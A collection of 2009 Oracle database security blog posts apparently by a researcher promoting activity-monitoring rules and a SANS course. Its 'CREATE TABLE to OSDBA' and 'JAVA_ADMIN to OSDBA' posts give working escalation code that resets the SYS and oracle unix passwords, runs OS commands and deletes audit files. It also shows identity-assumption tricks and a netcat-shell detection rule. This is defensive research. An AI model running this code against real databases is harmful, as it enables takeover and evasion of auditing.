Three Tier Oracle Security in London ~ Paul M. Wright

ORACLE SECURITY AND COMPUTER FORENSICS

Three Tier Oracle Security in London ~ Paul M. Wright RSS Feed
 

DAMS for Post and PRE-CPU Change Management

When a new CPU/PSU comes out a package is known to be vulnerable e.g. SYS.DMP_SYS (CVE-2009-1007) but applying the patch may be too risky and/or take too long to test before deployment. CPUs are complex and their effect cannot be predicted. The strategy has to be one of install on QA and stand well back ~ November 5th firework style.
A quicker and simpler way to remove the threat of a vulnerable package is to simply REVOKE the PUBLIC EXECUTE on that package. The effects of this can be predicted and controlled more closely, but it may be the case that SYS.DMP_SYS is used by other packages, applications and in-house code that rely on that PUBLIC EXECUTE for their functionality. This is especially the case with SYS objects because high privileged DBA and application accounts with EXECUTE ANY PROCEDURE are still relying on the PUBLIC EXECUTE to be able to use that package because the EXECUTE ANY PROCEDURE system privilege omits the SYS schema. Only SYS does not use the PUBLIC EXECUTE privilege for SYS packages.
The other advantage of being able to make manual changes like this rather than relying on the patch is that PRE-CPU information can be acted upon.

In order to carry out this command…

REVOKE EXECUTE ON SYS.DMP_SYS FROM PUBLIC;

…with low risk, access to SYS.DMP_SYS has to be monitored and profiled over time before the change is made. This is one of the benefits of using a Database Activity Monitoring System. To profile use of SYS.DMP_SYS properly, a host based system is required as a network based system is only going to see calls from the app tier and not internal calls from other Oracle packages in the DB. The simplest and most generic host-based DAMS rule language is Sentrigo Hedgehog as follows.

object='SYS.DMP_SYS' AND USER <>'SYS'

If the above rule returns no results after a couple of weeks then the PUBLIC EXECUTE can be REVOKEd with low risk. This is quicker than testing patches and will work more often than a complex patch which may fail. So in addition to IDS/IPS and user activity monitoring, DAMS can provide a quicker and more efficient change control process.
If you are interested in the benefits of deploying a Database Activity Monitoring system it is worth reading the case-study highlighted in UKOUG SCENE Journal and attending the SANS DAMS course of the same name. I recommend registering sooner rather than later to avoid disappointment.
Cheers,
Paul

Oracle Security Summary

Hi Folks,

Here is an Oracle Security Summary:

Alexandre has published some PoC code for CVE-2009-1991 at http://dsecrg.com/pages/vul/show.php?id=110.

The new UKOUG SCENE Journal has been published with an emphasis on “Security in the City and UKOUG have kindly highlighted an article of mine on Database Application Monitoring systems used for financial transparency. The main thrust of the article was that Oracle’s own auditing systems run as the Oracle unix user so are vulnerable to buffer overflows, OS access via utl_file and Java as well as DBA actions using the oracle unix account.

The benefit of Sentrigo HH is that it runs as a separate user from Oracle and so cannot be accessed as easily either by attacker’s code or DBA/dev staff. In other words it is not vulnerable to this type of audit trail tampering below.

SQL> call javaos('rm /u01/app/oracle/admin/orcl/adump/ora_563.aud');
Call completed.

The above is basic Java DB to OS functionality and given the unreliability of the Aurora JVM it is worth both taking actions to defend against this as well as providing assurance via a DAMS system … more to come on this..and the metalink article Doc ID:787878.1 I mentioned last week at SEC520.

Cheers,
Paul

Oracle Identity Integrity

Security in a multi-user system relies on individuality of account access and Identity Integrity.
The ability to assume the identity of another user is one of the most powerful privileges that exists and should be monitored and logged using a Database Activity Monitoring System both for compliance, assurance and good practice.

Client supplied identity information passed to the DB can be selected using this script ~ Press the plain text button above the code to copy and paste clean code into SQL*PLUS.

set heading off
select SYS_CONTEXT('USERENV','TERMINAL')
,SYS_CONTEXT('USERENV','LANGUAGE')
,SYS_CONTEXT('USERENV','SESSIONID')
,SYS_CONTEXT('USERENV','INSTANCE')
,SYS_CONTEXT('USERENV','ENTRYID')
,SYS_CONTEXT('USERENV','ISDBA')
,SYS_CONTEXT('USERENV','NLS_TERRITORY')
,SYS_CONTEXT('USERENV','NLS_CURRENCY')
,SYS_CONTEXT('USERENV','NLS_CALENDAR')
,SYS_CONTEXT('USERENV','NLS_DATE_FORMAT')
,SYS_CONTEXT('USERENV','NLS_DATE_LANGUAGE')
,SYS_CONTEXT('USERENV','NLS_SORT')
,SYS_CONTEXT('USERENV','CURRENT_USER')
,SYS_CONTEXT('USERENV','CURRENT_USERID')
,SYS_CONTEXT('USERENV','SESSION_USER')
,SYS_CONTEXT('USERENV','SESSION_USERID')
,SYS_CONTEXT('USERENV','PROXY_USER')
,SYS_CONTEXT('USERENV','PROXY_USERID')
,SYS_CONTEXT('USERENV','DB_DOMAIN')
,SYS_CONTEXT('USERENV','DB_NAME')
,SYS_CONTEXT('USERENV','HOST')
,SYS_CONTEXT('USERENV','OS_USER')
,SYS_CONTEXT('USERENV','EXTERNAL_NAME')
,SYS_CONTEXT('USERENV','IP_ADDRESS')
,SYS_CONTEXT('USERENV','NETWORK_PROTOCOL')
,SYS_CONTEXT('USERENV','BG_JOB_ID')
,SYS_CONTEXT('USERENV','FG_JOB_ID')
,SYS_CONTEXT('USERENV','AUTHENTICATION_TYPE')
,SYS_CONTEXT('USERENV','AUTHENTICATION_DATA')
,SYS_CONTEXT('USERENV','CURRENT_SQL')
,SYS_CONTEXT('USERENV','CLIENT_IDENTIFIER')
,SYS_CONTEXT('USERENV','GLOBAL_CONTEXT_MEMORY') from dual;

But the above information is known to be easily falsified which has also been demonstrated . Only the IP address has reasonable integrity, post TCP hand shake that is.

Therefore the Identity Integrity of DB users usually relies on username/password confidentiality but there are a number of ways to bypass this control which need to be recorded in a Database Activity Monitoring System or DAMS.

1. The BECOME USER system privilege allows an OCI call to be made thus changing the effective identity of a logged on user.

2. BECOME USER is built into sys.kupp$proc.change_user(’ASSUMED_USERNAME’);
This is a handy command to use in release scripts that require a change of user from the higher DBA downwards and has also been used to go up in privileges such as in Tanel’s now removed post http://blog.tanelpoder.com/2007/11/10/oracle-security-all-your-dbas-are-sysdbas-and-can-have-full-os-access/ which has been duplicated at this URL http://www.articles.freemegazone.com/oracle-security-all-dba-os-access.php. This is how the identity change looks.

SQL> conn dbauser@(description=(address=(protocol=tcp)(host=myhost)(port=1521))(connect_data=(service_name=orcl)))
password
Connected.

SQL> SELECT USER FROM DUAL;
USER
------------------------------
DBAUSER

SQL> exec sys.kupp$proc.change_user('PAULMWRIGHT');
PL/SQL procedure successfully completed.

SQL> SELECT USER FROM DUAL;
USER
------------------------------
PAULMWRIGHT

The good news is that Sentrigo HH will still record the original DBAUSER in its alerts and logs even after kupp$proc.change_user(). Additionally a rule can be set up to record all calls to the sys.kupp$proc package.

object='SYS.KUPP$PROC' and statement contains 'change_user'

But there are more straightforward ways of assuming another user’s identity in Oracle such as simply changing the password of a user to a known value and logging on as them. These techniques are invaluable when troubleshooting a user’s privilege errors. But they need to be monitored and logged so how many ways of doing that?

ALTER USER ASSUMED_USER IDENTIFIED BY NEWPASSWORD;

--But if wish to put back the old password after the identity has been used can use this well known method
SELECT PASSWORD FROM SYS.USER$ WHERE NAME='ASSUMED_USER';
ALTER USER ASSUMED_USER IDENTIFIED BY NEWPASSWORD;
ALTER USER ASSUMED_USER IDENTIFIED BY VALUES 'ORIGINALPASSWORDHASH';

Therefore good idea to alert to ALTER USER commands in Sentrigo HH with this rule:

statement contains 'ALTER USER'

--or even better using RegEx to allow for variable white space:
statement matches 'ALTER\s*USER'

--but also need to consider the GRANT syntax:
grant role to paulwright identified by password;

--additionally the direct update:
update sys.user$ set password = '737B466C2DF536B9' where name=’PAULMWRIGHT’;

--both of which are going to require a more sophisticated rule writing strategy to catch all possible permutations
--more on this later...

A perhaps less obvious method of temporarily assuming another’s identity is by backing up the password file and then overwriting a new one and then copying back the original by combining the techniques in these two papers.
http://www.dcs.co.jp/security/NGS_freedownloads/OracleSysDBA_Backdoor.pdf
http://www.oracleforensics.com/wordpress/index.php/2008/10/10/create-any-directory-to-sysdba/
This method will allow a user to assume the identity and privileges of the SYS user as long as they have CREATE ANY DIRECTORY to start with. Therefore a DAMS should alert to UTL_FILE and references to the location of the password file as well. BUT what if the password file has been overwritten by using an OS based script which has been written via UTL_FILE and executed by CREATE TABLE without needing a directory pointing to the password file location itself, as per CREATE TABLE to OSDBA? Again the DAMS rules have to be more sophisticated.

Also need to think about a DB user with Java privileges running orapwd from the OS. This will allow the user to change the SYS password by recreating the password file, thus enabling the SYS identity and privileges.
See JAVA_ADMIN to OSDBA paper http://www.oracleforensics.com/wordpress/index.php/2009/08/31/java_admin-to-osdba/. Commands such as the following do allow a DB user to change the SYS password and thus assume the SYS identity.

SQL> call javaos('C:\app\PaulWright\product\11.1.0\db_1\bin\orapwd.exe file=PWDorcl2.ora password=pass entries=5 FORCE=Y');

Call completed.

If you check the password file you will see the password changed. This will then need a reboot to be effective but once OS access is gained via Java the whole DB is open for reboot and deletion of audit trail. DB is meant to be a firewall to the OS not a gateway.
But the required Java privileges are not set by default, so they need to be granted.. On this note I recommend reading an interesting Metalink article Doc ID:787878.1 entitled “Data Pump Errors With ORA-39083 And ORA-29532 During Full Import When Creating Object Type PROC_SYSTEM_GRANT”. Can you see what this article from March 2009 is actually showing? ….. more to come on this at the SANS conference.

Lastly I have a “CREATE PROCEDURE to OSDBA” escalation that affects 10g and 11g which I will also be discussing at the SANS DAMS course on Saturday 5th December where I will show you how to solve all the above vulnerability issues as well as provide effective profiling of user activity to give assurance that your organisation’s security measures are being enforced. It is important for those responsible for defending internal assets to keep ahead of the cutting edge, so see you there.

Best regards,
Paul

Reflecting back in time at Oracle security

Hello Oracle Security folks,
So what’s been happening in Oracle Security recently?
The delayed CPU has settled down and testing will begin. Some will install the PSU and some the CPU. Others will actually work out what the vulnerabilities are and manually mitigate thus reducing the risk of taking a step backwards. Revoking PUBLIC execute is safer than installing a patch methinks. I still have bugs for fixing with SecAlert, though this will be next year now… can’t rush quality patches..
My CREATE TABLE to OSDBA paper has gone down well with references from Pete, Alex and Slavik
Was thinking about buying Alexandre’s book on Oracle security . It appears to only be available in Russia and online purchases can be a little tricky in Russia due to high level of Internet fraud, or so I am told by my Russian colleague. Have also been reading Pete’s new Chapters from Expert Oracle Practices: Oracle Database Administration from the Oak Table which are available for Alpha Review at the Apress web site. The chapters are on user security and data security and provide some new insights so well worth investing in this read. The Apress titles are available on Safari but the Apress Alpha scheme allows advanced viewing..
My thoughts have been on the subject of user/data security as well. Especially with regards to identifying suspicious behaviour e.g. regex search for credit card numbers. Sentrigo HH allows regex rule writing so I have been able to write HH regex rules that alert to an attacker using various Oracle SQL regex searches for credit card numbers. Regex to catch a regex…but that is part of the SANS course so can’t detail here unfortunately.
I am also currently working on my new paper CREATE PUBLIC SYNONYM to SYSDBA and a new paper about alerting to identity change in Oracle as well as a third paper on Java Forensics which will be very pertinent.
Will preview the best bits of these subjects for the first time at the new SANS DAMS course which is written and off to the printers.
I will be at UKOUG Monday and Tuesday where I will be speaking with Pete and attending some Presentations.
Overall things are still ticking a long steadily in the world of Oracle security though I anticipate much more turbulent times in the near future as more serious new research is released…so watch this space and maybe see you on Saturday December 5th for in-depth analysis and defenses for the above.
Clocks back and good night.
Cheers,
Paul

CREATE TABLE to OSDBA

I have written a new paper entitled CREATE TABLE to OSDBA with reverse shell. The paper includes demo code for 11.1.0.7 Windows and UNIX (but not 10g).

The demo shows that granting EXECUTE on a directory in 11g to a user that possesses the common CREATE TABLE privilege is effectively equivalent to granting them OSDBA.

Once an OS based shell script is written via the still PUBLICly executable UTL_FILE and executed by SELECTING the table the .sh can act on any part of the OS owned by Oracle thus bypassing any Oracle directory controls.

I will be discussing how to protect against this as well as the growing number of unpublished 11g “CREATE SESSION to DBA” zero days, in the new SANS DAMS and Oracle 11g security course. Build up your flood defenses in preparation by attending the session below on December 5th
http://www.sans.org/london09/description.php?tid=3602

Here’s the demo for Windows (see paper for UNIX OSDBA reverse shell demo).

--Prepare the low privilege attacker account
SQL> create user ctto identified by ctto;
User created.

SQL> grant create session to ctto;
Grant succeeded.

SQL> grant create table to ctto;
Grant succeeded.

SQL> grant all on directory log_dir to public;
Grant succeeded.

SQL> conn ctto/ctto
Connected.

SQL> select * from user_role_privs;
no rows selected

SQL> select * from user_sys_privs;

USERNAME                       PRIVILEGE                                ADM
------------------------------ ---------------------------------------- ---
CTTO                           CREATE SESSION                           NO
CTTO                           CREATE TABLE                             NO

SQL> select * from user_tab_privs;
no rows selected

--Low priv ctto account looks for a directory left open, which is usually the case. On 10g this would give READ/WRITE
--but on 11g there is the new EXECUTE privilege thus allowing commands to be executed via the Directory.

SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN
(SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY')
and privilege='EXECUTE' ORDER BY GRANTEE;
TABLE_NAME
------------------------------
LOG_DIR

SQL> SELECT DIRECTORY_PATH FROM ALL_DIRECTORIES WHERE DIRECTORY_NAME='LOG_DIR';
DIRECTORY_PATH
--------------------------------------------------------------------------
C:\SCRIPTS
Windows CREATE TABLE to SYSDBA and OSDBA
--Write a batch file to the OS that will call the second .sql (using PUBLIC UTL_FILE execute)
declare
    f utl_file.file_type;
    s varchar2(200) := 'sqlplus -S -L / as sysdba @c:\scripts\changepassword.sql';
begin
    f := utl_file.fopen('LOG_DIR','changesyspw.bat','W');
    utl_file.put_line(f,s);
    utl_file.fclose(f);
end;
/
--write the changepassword.sql that will be called by the batch file.
declare
    f utl_file.file_type;
    s varchar2(200) := 'alter user sys identified by newpassword;';
begin
    f := utl_file.fopen('LOG_DIR','changepassword.sql','W');
    utl_file.put_line(f,s);
    utl_file.fclose(f);
end;
/
--Execute shell script via  external table http://structureddata.org/2008/11/19/preprocessor-for-external-tables/
CREATE TABLE execute_mybinary( "testrow" VARCHAR2(60))
ORGANIZATION EXTERNAL(
  TYPE oracle_loader  DEFAULT DIRECTORY LOG_DIR
  ACCESS PARAMETERS  (
     RECORDS DELIMITED BY NEWLINE
     PREPROCESSOR LOG_DIR:'changesyspw.bat' OPTIONS '-R'
     BADFILE LOG_DIR:'execute_mybinary.bad'
     LOGFILE LOG_DIR:'execute_mybinary.log'
     FIELDS TERMINATED BY '|'
     MISSING FIELD VALUES ARE NULL  (
        "testrow"     )  )
  LOCATION ('changesyspw.bat'))
REJECT LIMIT UNLIMITED;

--from another sys session
SQL> select password from sys.user$ where name='SYS';
PASSWORD
------------------------------
5638228DAF52805F

--as ctto low privilege user executes the .bat via the SELECT statement
select count(*) from execute_mybinary;

--You will receive an KUP-04095 error but the script will change the SYS password,
SQL> select password from sys.user$ where name='SYS';
PASSWORD
------------------------------
66A86F065449C773

--Tested and working on 11.1.0.7
SQL> select * from v$version;
BANNER
--------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
PL/SQL Release 11.1.0.7.0 - Production
CORE    11.1.0.7.0      Production
TNS for 32-bit Windows: Version 11.1.0.7.0 - Production
NLSRTL Version 11.1.0.7.0 – Production

Also low priv attacker can write nc.exe binary to the OS using UTL_FILE binary mode as per method outlined in http://www.oracleforensics.com/wordpress/index.php/2008/10/10/create-any-directory-to-sysdba/

Given that there will always be new unexpected attacks it is essential to monitor DB user activity via a DAMS so that suspicious activity can be alerted to. http://www.sans.org/london09/description.php?tid=3602

Cheers,
Paul

JAVA_ADMIN to OSDBA

    Question: Why escalate to SYSDBA when one can shortcut directly to OSDBA?

JAVA_ADMIN is a role in the Oracle DB which is granted to application accounts which wish to take advantage of Java integration. Given the recent US Anti-Trust go-ahead for the Oracle and Sun deal, this is likely to be an increasing phenomena.

--Interestingly a user granted the JAVA_ADMIN Role appears to have low privileges:
SQL> SELECT * FROM DBA_TAB_PRIVS WHERE GRANTEE='JAVA_ADMIN';
no rows selected
SQL> SELECT * FROM DBA_ROLE_PRIVS WHERE GRANTEE='JAVA_ADMIN';
no rows selected
SQL> SELECT * FROM DBA_SYS_PRIVS WHERE GRANTEE='JAVA_ADMIN';
no rows selected

Additionally Java sand boxing gives Java a reputation for high security compared to C++.
But because the role appears to be low privileged the JAVA_ADMIN role is potentially one of the more dangerous Roles in the Oracle database as it can actually run OS commands as the oracle software owner from the DB. As you will be aware the oracle software owner is a member of oinstall and osdba unix groups.
These privileges can be used by JAVA_ADMIN to change the oracle unix password, shoot an oracle xterm back to the attacker’s machine, shovel an oracle shell back to the attacker using netcat -e, and if oracle has sudo, JAVA_ADMIN can act as root using sudo -u. This is not good news for OS based Audit OR audit systems that run as the Oracle UNIX user such as Audit Vault. Thankfully I can show you how to use Sentrigo Hedgehog to protect against this threat. HH runs as the sentrigo unix user so is outside of the control of the oracle user. So let’s get down to some examples.

SQL> SELECT * FROM V$VERSION;
BANNER
---------------------------------------------------------
Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 - Prod
PL/SQL Release 10.2.0.3.0 - Production
CORE	10.2.0.3.0	Production
TNS for Linux: Version 10.2.0.3.0 - Production
NLSRTL Version 10.2.0.3.0 – Production

--Firstly create the user that is going to be escalated.
CREATE USER JAVATEST IDENTIFIED BY JAVATEST;
GRANT CREATE PROCEDURE TO JAVATEST;
GRANT CREATE SESSION TO JAVATEST;
GRANT JAVA_ADMIN TO JAVATEST;
Conn JAVATEST/JAVATEST;
--Secondly create the Java procedure which runs the OS commands:
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED javaproc AS
import java.io.*;
public class javaproc{public static String Run(String myString){
try{
Runtime.getRuntime().exec(myString);
return("0");
}
catch (Exception e){
return(e.getMessage());
}
}
}
/

--Thirdly JAVATEST grants itself the necessary OS permissions to run OS commands:

begin
dbms_java.grant_permission('JAVATEST','SYS:java.io.FilePermission','<<ALL FILES>>','execute');
end;
/
begin
dbms_java.grant_permission('JAVATEST','SYS:java.lang.RuntimePermission','writeFileDescriptor','*' );
end;
/
begin dbms_java.grant_permission('JAVATEST','SYS:java.lang.RuntimePermission','readFileDescriptor','*' );
end;
/

--Fourthly create a procedure to execute the command:
CREATE or REPLACE PROCEDURE javaos(Command IN STRING)
AS
LANGUAGE JAVA
NAME 'javaproc.Run(java.lang.String)';
/

--Then JAVATEST user can run commands as oracle user with OSDBA and OINSTALL privs.-
SQL> call javaos('touch /home/oracle/test_java6.txt');
Call completed.

--
[oracle@dev oracle]$ ls -alt test_java6.txt
-rw-r--r--    1 oracle   oinstall        0 Aug 24 20:56 test_java6.txt
--
SQL> call javaos('rm /home/oracle/test_java6.txt');
Call completed.
--
[oracle@dev oracle]$ ls -alt test_java6.txt
ls: test_java6.txt: No such file or directory
--
SQL> call javaos('sudo -u root /bin/touch /test.txt');
Call completed.
--(depending on sudo setup of oracle ALL=(ALL)  NOPASSWD: ALL)
--
[root@dev /]# ls -lat test.txt
-rw-r--r--    1 root     root            0 Aug 24 21:52 test.txt
--The above can be used to change the oracle unix user's password as follows:
--Find the cipher text for new oracle password on another local linux box:
[root@dev2 init.d]# python
Python 2.2.3 (#1, Dec 21 2006, 18:29:13)
[GCC 3.2.3 20030502 (Red Hat Linux 3.2.3-56)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>>
import crypt; print
crypt.crypt("boracle","foo")
>>> crypt.crypt("boracle","foo")
'fozKZbYTApzdw'
--Then the attacker can use this cipher text to change the server oracle unix password to boracle from the DB.
SQL> call javaos('sudo -u root /usr/sbin/usermod -p fozKZbYTApzdw oracle');
Call completed.

Additionally an attacker with the JAVA_ADMIN role could shoot an xterm back to a remote machine or shovel a netcat shell back to their remote host using the -e switch. In later Linux distributions Netcat is compiled without the GAPING_SECURITY_HOLE option i.e. nc -e is removed. In that case it does not take too much initiative to write one’s own netcat to the OS using the same method as the previous CREATE ANY DIRECTORY paper used for overwriting the binary password file.

The limits on what can be done with JAVA_ADMIN are in the imagination of the user. The key point now is how to secure against this?

--A sentrigo hedgehog rule could alert to JAVA_ADMIN usage as follows:
Object='SYS.DBMS_JAVA' and statement contains 'grant_permission'

--A sentrigo hedgehog rule to alert to nc -e shell shovelling:
Statement MATCHES '-e /usr/bin/bash'

--With RegEx to handle white space variations:
Statement MATCHES '-e\s*/usr/bin/bash'

Advanced Sentrigo Hedgehog rule writing using RegEx will be among the skills transferred in the new SANS Database Activity Monitoring course I am writing and teaching to debut at SANS London on Saturday the 5th of December 2009. http://www.sans.org/london09/description.php?tid=3602

But one question remains >> how to identity that the javaproc existed once it has been dropped and who carried out those actions? >> this is the field of Java Forensics… which will have to wait till next time..
In the meantime It will be interesting to see the result of the European Anti Trust probe review on September 3rd as to whether a full 4 month investigation into the Oracle Sun deal should take place BEFORE the Oracle/Sun deal is given the Global go ahead.

VPD vite

A lot of folks think that implementing VPD has to be complex and time consuming. This is not the case.
VPD can be used to implement a DENY on a table very quickly indeed.

For example, in order to stop a person selecting a table just need to create the function which adds a predicate which is added to all queries which select from the target table.

CREATE OR REPLACE FUNCTION TEST_VPD_ACL(
p_schema IN VARCHAR2, p_object IN VARCHAR2)
RETURN VARCHAR2
AS
BEGIN
RETURN 'USER NOT IN(''DENIEDUSERNAME'')';
END;
/

Then add the policy that associates this function with a particular table in a particular schema using DBMS_RLS.

BEGIN
DBMS_RLS.add_policy
(object_schema => 'SCOTT',
object_name => 'TABLE_NAME',
policy_name => 'SCOTTS_POL',
policy_function => 'TEST_VPD_ACL');
END;
/

That’s it! What could be easier? VPD comes free with the Enterprise edition of Oracle DB and can be implemented without a heavy performance hit. The VPD policy can be made more performant by using a static policy as detailed in Effective Oracle Database 10g Security by Design By David Knox

If you need to drop the policy then just as easy:

BEGIN
DBMS_RLS.drop_policy
(object_schema => 'SCOTT',
object_name => 'TABLE_NAME',
policy_name => 'SCOTTS_POL');
END;
/

These are the main views pertinent to VPD:

SELECT * FROM all_policies;
SELECT * FROM dba_policies;
SELECT * FROM v$vpd_policy;

Lastly, bear in mind that VPD can be legitimately bypassed by any user that has the EXEMPT ACCESS POLICY system privilege. But which users have this system privilege?

SQL> select grantee from dba_sys_privs where privilege='EXEMPT ACCESS POLICY';
no rows selected

No one!? DBAs (and SYSDBAs) do not appear to be granted this system privilege. So no one can bypass the VPDs..? If a user can run code as DBA then they can bypass VPDs because even though it is not listed as a granted system privilege of the DBA role, a DBA can simply grant it to themselves or whomever.

SQL> select grantee from dba_sys_privs where privilege='EXEMPT ACCESS POLICY';
no rows selected
SQL> sho user
USER is "SCOTT"
--
SQL> select * from user_role_privs;
USERNAME GRANTED_ROLE ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
PUBLIC OTS_ROLE NO YES NO
SCOTT CONNECT NO YES NO
SCOTT DBA NO YES NO
SCOTT RESOURCE NO YES NO
--
SQL> grant EXEMPT ACCESS POLICY to scott;
Grant succeeded.
--
SQL> select grantee from dba_sys_privs where privilege='EXEMPT ACCESS POLICY';
GRANTEE
------------------------------
SCOTT

Given that EXEMPT ACCESS POLICY is such a powerful system privilege that it can bypass VPDs I think it would be a good idea to list it as one of the system privileges that the DBA role effectively has in DBA_SYS_PRIVS.

On a related note, David’s book has a free chapter on VPD security, available at this URL http://www.databasesecurity.com/dbsec/ohh-defeating-vpd.pdf

For a good presentation with detail on implementing VPD please refer to Pete’s work on VPD.

So, that’s it for now. Preparations for SANS London and UKOUG 2009.

Cheers,
Paul

Post July 2009 CPU

July 2009 CPU PoCs are out in force. The CPU’s criticality is measured via the CVSS number which is from 1 to 10 being the most critical. This CPU has a vulnerability of 9 as the maximum criticality bug that has been fixed for the DB. However that is only on Windows. For *nix the highest is 6.5.

There are some interesting new CPU PoCs available from Dennis Yurichev here.
http://blogs.conus.info/node/26
http://blogs.conus.info/node/25
http://blogs.conus.info/node/24
http://blogs.conus.info/node/23

Dennis’s site is an excellent resource for Oracle security research. I still have work to be fixed in the CPU as well, though on the whole software bugs in the Oracle DB are decreasing in number and criticality. However the threat of Data Leakage is still increasing overall in my experience.

As well as new research there has been movement in terms of repackaging the large number of historic Oracle exploits into a more usable framework via Metasploit by Chris Gates at Blackhat. http://www.blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-PAPER.pdf

One effect of this presentation is to lower the skill level required to exploit the Oracle DB, which means it is more important to secure Oracle via the CPU, or applying the latest large patchset or manually mitigating the vulnerabilities. In many situations none of these are possible therefore alerting to an attempt to exploit could be the last line of defence, as well as a compensating balance for compliance.

I am writing Sentrigo Hedgehog rules to alert to the PoCs above as well as use of new Metasploit modules. These are very easy to write and there will be more to come on this in future publications.

Talking of publications, I noticed that my book had been reviewed via the ACM ran reviews.com web site.http://www.reviews.com/review/review_review.cfm?listname=highlight&review_id=137053. I wrote the book in both the Christmas and Annual holidays of 2006-2007 whilst at NGS so it provides some nostalgia to read this review. Additionally it brings a little bemusement at the fact that it is still the only book on the subject of Oracle forensics, which represents room for improvement, as this subject is far from being solved….Relational DBs do not persist actions over time like OS file systems and DB logging systems can only record the session details provided by the client most of which are spoofable. Additionally escalation between medium level system privileges and SYSDBA still abound. Lastly, every logging system I have worked with has been bypassable in some way so the problem of accurately tracing user activity within the Oracle DB still needs a lot more work. Recently there has been some movement in terms of other Database Forensics research publications especially by Martin S. Olivier who has collected together a number of references at this page http://mo.co.za/forbib.htm . His paper entitled “On metadata context in Database Forensics” is worth noting.

DBA_OBJ_PRIVS

It is important for a SYS user to know the identity of a package that they are executing as their privileges will overide the DEFINER rights of the package owner.
The method of identifying an object’s identity in Oracle is traditionally the pairing of the schema.object names.
I have shown in “CREATE USER to SYSDBA” paper that this can played with in such a way as to escalate a user’s privileges to SYSDBA.
The escalation works due to ambiguity of type and namespace when calling an object.
What is needed in the Oracle DB is more accurate and precise communication of object identity and type.
This is especially the case with listing privilege assignments.
We have all had the “privilege” of having to use DBA_TAB_PRIVS to list grants

SQL> desc dba_tab_privs;
--
Name Null? Type
------------------------------------------------------------------------------
GRANTEE NOT NULL VARCHAR2(30)
OWNER NOT NULL VARCHAR2(30)
TABLE_NAME NOT NULL VARCHAR2(30)
GRANTOR NOT NULL VARCHAR2(30)
PRIVILEGE NOT NULL VARCHAR2(40)
GRANTABLE VARCHAR2(3)
HIERARCHY VARCHAR2(3)

Question:Is this view a precise description of specifc object privileges?
I would say not ~ firstly because it relies on the pairing of owner and table_name (object_name) to uniquely identify each object which I have shown to be tenuous.
Secondly the view does not specify the object_type which leads to confusion especially with grants via private synonyms which point to other objects in other schemas.
What is needed is a DBA_OBJ_PRIVS view which contains the object_type in addition to the information in DBA_TAB_PRIVS. This is very easy to do:

--AS SYS
CREATE OR replace VIEW dba_obj_privs AS select ue.name grantee, u.name owner , o.name object_name, ur.name grantor , tpm.name privilege,
decode(mod(oa.option$,2), 1, 'YES', 'NO') grantable,
decode(bitand(oa.option$,2), 2, 'YES', 'NO') heirarchy,
OBJECT_TYPE
from sys.objauth$ oa, sys.obj$ o, sys.user$ u, sys.user$ ur, sys.user$ ue,
table_privilege_map tpm, DBA_OBJECTS
where oa.obj# = o.obj#
and oa.grantor# = ur.user#
and oa.grantee# = ue.user#
and oa.col# is null
and oa.privilege# = tpm.privilege
and u.user# = o.owner#
AND DBA_OBJECTS.OBJECT_ID=oa.obj#;

Then grants can be selected by object_type:

SQL> SELECT * FROM DBA_OBJ_PRIVS WHERE ROWNUM < 10 AND grantee='SYSTEM' AND OBJECT_TYPE='PACKAGE';
--
GRANTEE OWNER OBJECT_NAME GRANTOR PRIVILEGE GRA HEI OBJECT_TYPE
----------------------------------------------------------------------------------
SYSTEM SYS DBMS_REPCAT SYS EXECUTE NO NO PACKAGE
SYSTEM SYS DBMS_ALERT SYS EXECUTE NO NO PACKAGE
SYSTEM SYS DBMS_DEFER_IMPORT_INTERNAL SYS EXECUTE NO NO PACKAGE
SYSTEM SYS DBMS_SYS_ERROR SYS EXECUTE NO NO PACKAGE
SYSTEM SYS DBMS_AQ_IMPORT_INTERNAL SYS EXECUTE YES NO PACKAGE
SYSTEM SYS DBMS_AQELM SYS EXECUTE YES NO PACKAGE
SYSTEM SYS DBMS_AQ SYS EXECUTE YES NO PACKAGE
SYSTEM SYS DBMS_AQADM SYS EXECUTE YES NO PACKAGE
SYSTEM SYS DBMS_RULE_EXIMP SYS EXECUTE YES NO PACKAGE

This view now lists the object_type of each object in the grant which makes the database a lot easier to manage.

There is still an ambiguous aspect to this view though. The GRANTOR column is defined as:

SQL> SELECT COMMENTS FROM ALL_COL_COMMENTS WHERE OWNER='SYS' AND TABLE_NAME='DBA_TAB_PRIVS' AND COLUMN_NAME='GRANTOR';
--
COMMENTS
--------------------------------------------------------------------------------
Name of the user who performed the grant

But this is incorrect, as the GRANTOR column does not show the Name of the user who performed the grant. It is usually the SCHEMA owner of the granted object OR it is the actual GRANTOR if the grant is done WITH GRANT OPTION. As the majority of grants are done by a power user e.g. DBA with GRANT ANY OBJECT PRIVILEGE system privilege, the GRANTOR column usually shows the schema owner and NOT the user that actually performed the grant.
The GRANTOR column value is also changed automatically by packages such as DBMS_REDEFINITION (More to come on this in a later post). The GRANTOR column is therefore not consistent which is a shame as it is one of the few columns in Oracle which records user actions in a file system like way i.e. this grant was done by this user. This type of metadata would be useful for a post incident forensic analysis but unfortunately the GRANTOR column is not reliable at this current time.

The lack of metadata regarding users actions in Oracle makes the use of a Database Activity Monitoring System(DAMS) more important so as to persist actions in a recorded audit trail. To reduce false positives and false negatives a DAMS should be able to identify owner and type from an SQL statement. Network based systems cannot do this as they use plain pattern matching but some host based systems can.
e.g. alert if a GRANT is made to PUBLIC on a SYS object using Sentrigo Hedgehog.

statement contains 'PUBLIC' and schema='SYS' and cmdtype contains $DCL_CMDTYPES

More detail in the future SANS DAMS Course in London on Saturday 5 December 2009 at the ExCeL centre.

CREATE USER to SYSDBA

